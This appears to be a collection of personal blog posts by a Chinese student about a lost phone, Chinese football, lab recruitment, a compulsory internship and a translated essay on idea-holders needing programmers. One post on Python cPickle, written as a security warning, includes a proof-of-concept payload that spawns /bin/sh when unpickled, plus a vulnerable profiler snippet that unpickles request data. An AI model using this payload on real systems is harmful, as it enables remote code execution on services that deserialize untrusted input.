纪念我已经丢失的手机

就是这样,突然就丢了,亦或是被偷了.就这样,我的LT26ii不见了,从此淡出了我的生活.漂亮的外形,让我至今觉得比iphone5好看,没解锁没刷机也算是对这款Android的褒扬.就这样突然丢了,略微伤心.

279

你得先自己反省:不可专责备别人,更不必责备社会。”你应该想想:为什么同样一张文凭,别人拿了有效,你拿了就无效呢?还是仅仅因为别人有门路有援助而你没有呢?还是因为别人学到了本事而你没学到呢?为什么同叫做“大学”,他校的文凭有价值,而你的母校的文凭不值钱呢?还是仅仅因为社会只问虚名而不问实际呢?还是因为你的学校本来不够格呢?还是因为你的母校的名誉被你和你的同学闹得毁坏了,所以社会厌恶轻视你的学堂呢?

——胡适

危险的cPickle

Python标准库在对使用Pickle/cPickle的时候有给过警告:不要用cPickle接收未经授权或者未经验证方的代码,但是很多人在使用的时候会忽略这个问题,这会出现致命漏洞,致使对方可以远程执行代码.

危险主要来源于这个reduce方法,当对pickle对象解析时,会首先调用reduce方法,reduce方法规定了该如何解析一个对象,但是这个是用户自定义的,因此在这个地方出现了执行任意代码的可能

 

Example:

import cPickle
import subprocess
import base64

class RunBinSh(object):
def reduce(self):

#return (subprocess.Popen, (('cmd.exe'))) for win
return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))
 

若对方将此对象解析, 则会执行shell.

这主要是subprocess的功劳

因为reduce要求换回一个元组, 拿第一个参数去搜索引入然后构造对象,依靠subprocess.Popen就可以执行命令

这里其实算是一个本不应该成为漏洞的漏洞,但是一旦存在危险极大,而且很多人都会忽视这个问题.如果只是使用cPickle来做对象序列化保存与读取,不接受外部数据,是没有问题的.

但是一旦接受数据会出现致命问题,像这段代码

def process_request(self, request):
“””
Setup the profiler for a profiling run and clear the SQL query log.

If this is a resort of an existing profiling run, just return
the resorted list.
"""
    def unpickle(params):
        stats = unpickle_stats(b64decode(params.get('stats', '')))
        queries = cPickle.loads(b64decode(params.get('queries', '')))
        return stats, queries</pre>

如果不采用身份验证或者来源验证,出于安全考虑是不应该采用的.

 

Python标准库中要特别注意Warning这种提示.

 

参考链接:

http://blog.nelhage.com/2011/03/exploiting-pickle/

http://drops.wooyun.org/papers/66

 

 

关于好多

今天中国国家足球队在没有征召海外球员的情况下,逼平韩国队。好吧,其实我们没有什么海外球员可以征召,韩国也只是二队而已,我们都没有进球。我发了一条人人,“国足这球踢得很有情怀 有工匠精神。。。。。。”,好吧,我是在黑国足。这场球积极性是有的,进攻没有章法,踢得还是比较混乱的,认真了,但是依然不行。

结果就是这样,就像锤子ROM,真是认真做了(是不是真的我不知道其实),但是结果比较 一( lā ) 般( jī ). 之前帮小福刷机,拿着ONE X刷MIUI V5前刷上了锤子试用了下。根本不能拿来用,解锁卡死,进程序卡死,突然删退,发热过大,还要强制GPU渲染,如果去掉那就是不能使用。。。。身边做技术的都知道pre-a到底是怎么回事,就这么儿戏的发布了,结果就是这么个破东西= =。当然有借口,是pre-a。但是发布都发布自己的beta这算怎么回事。跟所有人说我要做个东西来改变世界,然后就把半成品(其实都不算)扔出来了,别人批评就说这是半成品,等老子将来吓死你。

然后我就经常拿情怀和工匠来黑人= =。有理想是好事,但是做不好就别嚷嚷。与自己共勉。最近struts2爆洞又跪了一批网站,没办法,漏洞越是接近底层越是影响越大,不过taobao倒是有方法,他们的安全部门貌似在大规模爆洞之前就有人提出过并且补上了,可惜分站依然没有防护好。

最近一周电脑经常会过热然后断电保护,让我郁闷不已,代码还没commit就听到电脑一声嘶吼然后屏幕黑掉,不爽。。。。待会再继续去写点代码。。。。不写了先。

最近想去看 天台,现在正在听 刘罗锅别传

最近关于实验室

最近实验的纳新之前用了空闲的一点时间写了一个微信墙,本来想看看有没有开源的代码直接搭一下的,只看了看github发现没有就自己写了一个,搭在SAE上。纳新的时候稍稍的展示了一下 。

不得不说SAE的稳定性堪忧,有许多莫名其妙的情况出现,而且sae登录看样子应该是基于weibo的oauth2.0,但是我这里直连总是登录之后无法回调写入cookies,只能选择先去weibo.com登录,或者翻墙直接登录。

 

关于这次纳新宣讲,在晚上,还是有许多考虑不周的地方。

1.去的还是晚了,然后调试设备导致开场推迟

2.没有任何备案,在去之前没有足够考虑到现场现场环境。这直接导致了以下问题:在Mac和linux上可用的视频字幕因为编码不一致导致在win下不可用。虽然充当了一回救火队员把字幕现场调好了,如果不多考虑应该不是每一次都这么幸运。

3.任何环节都没有做时间评估。这可能是去年就应该意识到的问题,但是今年再次出现了,因为并没有严格要求说一共会花多少时间,所以每个环节都没有做时间评估,导致前期的环节花费时间过于冗长。

4.未作内容讨论及长时间准备。每个环节完全交由个人,这个也是从去年就有的问题,但是我们大家都忽略了。

 

 

估计明年我就参与不了了,但是还是写下来吧,没准我的师弟师妹们会用到。

在实验室的日子也是过一天少一天了。

关于学院安排的实习

我本来想用更欢快的语气来描述,不过害怕显得不够客观,授人以柄。

开学初,接到通知,整个年级在这个学期只上16周课程,然后实习一个月,不能自己找实习,不能不去,算作学分,地点未定,公司未定。

4月,从导员的那里依然只能得到需要外出实习,地点未定,公司未定。

5月左右,终于确认消息,公司是青软实训, 地点是江苏如皋,全年级前往(学院承诺支付前去的路费,回程自理)

然后,谣言纷起(内容大体为无工资,还需要自己交钱),随后导员确认为谣言

6月初,实习计划改变,由原来的青软实训一家,变为(文思海辉,青软实训,上海昆山某公司(这次的会议我未去,也不清楚,如果有清楚的话求告知), 有关公司[注:有关公司就是指据说还有其他公司,但是还没定])

到目前未知,计划就是这样样子。

 

看了看大约6月下旬开始实习,直到6月初才确定关于实习的具体事宜。关于这次实习,我只是有几点疑问:

1.这种实习是否对所有专业的学生都适合。

如果给软件工程专业安排这种软件公司的实习是没有问题的(不是针对软件工程学生,只是从客观上来说)。

那么对于其他专业的学生来说呢?嵌入式的同学可以不用去,有老范给你上你们专业的知识,剩下的就是网络工程和图形学的同学。图形学我不了解,网络工程同学的总人数占据全年级一半,这么草率的都安排去写程序真的合适么。我知道我们学院的教学让几个专业的人出来没有太大一样,可是在教学计划的安排上,真的需要如此大锅饭么。

我是网络工程的学生,我喜欢coding,但是我们专业其他的同学呢。你让那些在不断学习网络工程师相关知识的同学门放掉自己真正的专业相关的东西陪着学院去coding?

 

2.这次实习的时机安排是否合适

对计算机相关专业来说,专业课较多,而往往较重要的专业课程都会选择在大三开设,那么因为实习将专业课程学习时间从18周缩短至16周是否合适。学院里已经把算法弄成了考察了(同时想请教国内哪所高校的CS相关专业敢把算法弄成考察),这次因为这个实习再次缩减专业时间是否有效。

 

3.这次实习能得到什么?

一个月,呵呵。那我还真建议同学们自己买本《21天精通C++》,我猜效果差不多。如果看好的书,会受益更大。

 

4.为什么不可以让同学们自由选择,跟学院或者自己找实习同时作为可选项

这个最终决定的形成我还真不敢妄揣上意,也许是怕难管理吧,反正别人损失是小,自己损失了可要自己担责, 出事了确实付不起责任。

 

结束了。我说再多又有什么用,什么也改变不了。还有可能被打小报告然后被叫去喝茶。

再忍一年,逃脱升天。

 

 

最近备忘

关于用python显示图片

PIL可以做到(链接

一开始总是跪,后来发现只有PIL还是不能显示jpg的,需要有libjpeg-dev和libfreetype6-dev

 

关于团队风格:

1.模块按照字典序进入

2.不要有trailing space

 

关于mercurial

因为merge之前没有pull导致后续出现了一系列麻烦,谨记commit需要pull

 

关于进程池

动态语言与静态语言的差异,

突然发现复用不是问题,一开始我以为Duck Type只有在解决多态才用到,后来才发现DuckType无处不在,扩展良好的进程池不是问题

 

 

我就差一个编程的

作为我们大学计算机系的系主任,我经常收到一些声称得到了能造就下一个奇迹的好主意的人的来信和电话。这些电话有的十分的有趣!打电话的人有时是一位急切的创业者,醉心于他的想法,认为那是一个能取代Google,超越Facebook,或者是能改变当前的商业面貌,变革整个互联网的好想法。有时打电话的人不是我们学校的,有时是我们大学工商科目、大多是主修商业的学生;年轻人的电话都透露出了富有感染力的创业热情。他们希望能改变这个世界,他们需要我去帮助他们!

他们就差一个编程的。

他们需要有人能接受他们的想法,把这个想法转变成PHP,SQL,HTML,CSS,Java和Javascript代码。这些创业者知道他们现在缺少什么。我是否应该找一两个计算机专业的学生加入他们的项目,帮他们实现呢? 大多数他们这样的项目永远找不到计算机专业的学生来实现。有很多的原因。学生们都在忙于课程和生活。

大多数计算机专业的学生都有了他们喜欢的工作。他们的工作是付现金的(如果不是拿不了的情况下),这比一个不确定的将来才会有的财富的许诺来说对学生们更有吸引力。这些想法和点子对其他人来说并不像对想出他们的这些创业者那样令人兴奋,不像这些创业者由于担心会产生创世纪的成就而坐卧不安。

很多这样有想法的人由于找不到计算机专业的学生或其他编程人员而一而再、再而三的联系我,希望能从我这得到好消息。年轻的创业者们会越来越泄气。他们希望其他人也能像他们一样为这样的想法而激动。(乐观的年轻人呀!)我一直希望他们能找到什么人帮助他们把想法变成现实。这个过程会是令人兴奋的。他们也能从中学到很多东西。

当然,他们似乎也从来没有想到自己是可以去学编程的。

前段时间,我在微博上聊了几句关于接到这些电话的事情。

Andrei Savu用简单的语句对于遇到的这些现象进行了总结:

@wallingf 这就是说,他们把软件开发者当作一种工具。产品 = 行动 != 点子

我在最近写的一篇博客里详细的谈论了这个问题,一个产品的价值来源于拥有一个想法和执行这个想法的组合。你单具备了前者或只有执行后者的能力都不太有价值。你必须把它们组合到一起。

很多“手握绝世好想法的人”都倾向于认为大多数或全部的价值都来源于创造出了这个想法。程序员只是一个工具,就像个鸡毛掸子,拿起来就可以掸灰。编程是个小事情,不是吗?

另一方面,一些程序员乐意认为大多数或所有的价值都来源于实施了这个想法。可是你不能去实施你还没有的想法呀。这就好像我和我的同事们围坐在一盘左宗棠鸡前惋惜我们失去的财富。可实际上没有人失去。财富从未与我们为邻。事实上我们缺少一个致命的条件。没有时间机器或其它机器能使时光倒流。

我仍然希望这些身负好点子的人中,一些人自己该会编程,或想去学编程,这样他们就可以自己来实现自己的想法。这样,他们也可以有机会知道只有超人有力量什么不做也能把理想变为现实。在过去,学习计算机编程是使用计算机的人的必然后果。可遗憾的是,现在全变了。如今使用计算机的必然后果看起来是可以让人接触到一些自己也许认识,也许不认识的人或者只是看看Youtube视频。

哦,想想吧,如果你发现了一个能够赛过Google和Facebook的好想法,那将会是什么样子。时不时的,我非常想告诉那些给我打电话的创业者,他们的想法基本上不会有改变这个世界的希望。但是我没有,至少有两个理由。第一,他们并没有想征求我的意见。第二,总有一段时间后会有另外一个微软或Google出现来改变这个世界。谁又能想到这会是无数想法中的哪一个?如果我和我的同事能够重新回到2000年,去告诉我们的年轻人有关Facebook的事,这些年轻人会有足够的远见来坐下来开发出这个网站吗?我猜不会。

我如何能知道哪一个会是能够改变这个世界的好想法呢?开发出来,努力工作,用你的手指把想法变成人们需要和想要的东西。把程序开发出来的能力是这些有想法的人缺少的一个必要因素。他们去寻找有这种能力的人,这很对。我很想知道,如果每个人都能够把自己的想法变成现实,这个世界将会变成什么样子。

原文出自:http://www.cs.uni.edu/~wallingf/blog/archives/monthly/2010-12.html#e2010-12-01T15_45_40.htm